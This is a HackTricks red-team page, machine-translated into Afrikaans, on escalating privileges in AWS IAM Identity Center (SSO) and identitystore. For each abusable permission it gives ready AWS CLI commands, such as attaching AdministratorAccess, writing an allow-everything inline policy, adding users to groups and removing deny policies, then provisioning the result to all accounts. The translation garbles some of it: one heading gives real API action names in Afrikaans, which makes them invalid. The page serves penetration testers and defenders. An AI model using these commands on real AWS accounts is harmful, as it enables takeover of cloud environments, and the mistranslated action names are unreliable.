AWS - SSO & identitystore Privesc

Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

AWS Identiteitsentrum / AWS SSO

Vir meer inligting oor AWS Identiteitsentrum / AWS SSO, kyk:

pageAWS - IAM, Identity Center & SSO Enum

Let daarop dat standaard, slegs gebruikers met toestemmings **van die Bestuursrekening sal toegang hê tot en beheer oor die IAM Identiteitsentrum. Gebruikers van ander rekeninge kan dit slegs toelaat as die rekening 'n Gedelegeerde Administrateur is. Bekyk die dokumente vir meer inligting.

Stel wagwoord terug

'n Maklike manier om voorregte te eskaleer in gevalle soos hierdie sou wees om 'n toestemming te hê wat dit moontlik maak om gebruikerswagwoorde te herstel. Ongelukkig is dit slegs moontlik om 'n e-pos aan die gebruiker te stuur om sy wagwoord te herstel, dus sal jy toegang tot die gebruiker se e-pos benodig.

identitystore:CreateGroupMembership

Met hierdie toestemming is dit moontlik om 'n gebruiker binne 'n groep te plaas sodat hy al die toestemmings wat die groep het, sal erf.

aws identitystore create-group-membership --identity-store-id <tore-id> --group-id <group-id> --member-id UserId=<user-id>

sso:PlaasInlineBeleidAanToestemmingStel, sso:VoorsienToestemmingStel

'n Aanvaller met hierdie toestemming kan ekstra toestemmings aan 'n Toestemmingsstel verleen wat aan 'n gebruiker onder sy beheer verleen is.

# Set an inline policy with admin privileges
aws sso-admin put-inline-policy-to-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --inline-policy file:///tmp/policy.yaml

# Content of /tmp/policy.yaml
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "Statement1",
"Effect": "Allow",
"Action": ["*"],
"Resource": ["*"]
}
]
}

# Update the provisioning so the new policy is created in the account
aws sso-admin provision-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --target-type ALL_PROVISIONED_ACCOUNTS

sso:AttachManagedPolicyToPermissionSet, sso:ProvisionPermissionSet

'n Aanvaller met hierdie toestemming kan ekstra toestemmings verleen aan 'n Toestemmingsset wat aan 'n gebruiker onder sy beheer verleen is

# Set AdministratorAccess policy to the permission set
aws sso-admin attach-managed-policy-to-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --managed-policy-arn "arn:aws:iam::aws:policy/AdministratorAccess"

# Update the provisioning so the new policy is created in the account
aws sso-admin provision-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --target-type ALL_PROVISIONED_ACCOUNTS

sso:AttachCustomerManagedPolicyReferenceToPermissionSet, sso:ProvisionPermissionSet

'n Aanvaller met hierdie toestemming kan ekstra toestemmings verleen aan 'n Toestemmingsset wat aan 'n gebruiker onder sy beheer verleen is.

Om hierdie toestemmings in hierdie geval te misbruik, moet jy die naam van 'n kliëntbestuurde beleid ken wat binne AL die rekeninge wat geraak gaan word, is.

# Set AdministratorAccess policy to the permission set
aws sso-admin attach-customer-managed-policy-reference-to-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --customer-managed-policy-reference <customer-managed-policy-name>

# Update the provisioning so the new policy is created in the account
aws sso-admin provision-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --target-type ALL_PROVISIONED_ACCOUNTS
aws sso-admin create-account-assignment --instance-arn <instance-arn> --target-id <account_num> --target-type AWS_ACCOUNT --permission-set-arn <permission_set_arn> --principal-type USER --principal-id <principal_id>

sso:GetRoleCredentials

Gee die STS korttermyn-kredensiale vir 'n gegewe rol naam wat aan die gebruiker toegewys is.

aws sso get-role-credentials --role-name <value> --account-id <value> --access-token <value>

Maar, jy benodig 'n toegangstoken wat ek nie seker is hoe om te kry (TODO).

sso:DetachManagedPolicyFromPermissionSet

'n Aanvaller met hierdie toestemming kan die assosiasie tussen 'n AWS bestuurde beleid en die gespesifiseerde toestemmingstel verwyder. Dit is moontlik om meer voorregte te verleen deur 'n bestuurde beleid te ontkoppel (weieringsbeleid).

aws sso-admin detach-managed-policy-from-permission-set --instance-arn <SSOInstanceARN> --permission-set-arn <PermissionSetARN> --managed-policy-arn <ManagedPolicyARN>

sso:DetachCustomerManagedPolicyReferenceFromPermissionSet

'n Aanvaller met hierdie toestemming kan die assosiasie tussen 'n Kliëntbestuurde beleid vanaf die gespesifiseerde toestemmingsset verwyder. Dit is moontlik om meer voorregte te verleen deur 'n bestuurde beleid (weieringsbeleid) te ontkoppel.

aws sso-admin detach-customer-managed-policy-reference-from-permission-set --instance-arn <value> --permission-set-arn <value> --customer-managed-policy-reference <value>

sso:DeleteInlinePolicyFromPermissionSet

'n Aanvaller met hierdie toestemming kan die regte van 'n inline-beleid uit die toestemmingsset verwyder. Dit is moontlik om meer voorregte te verleen deur 'n inline-beleid (weieringsbeleid) af te koppel.

aws sso-admin delete-inline-policy-from-permission-set --instance-arn <SSOInstanceARN> --permission-set-arn <PermissionSetARN>
Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Last updated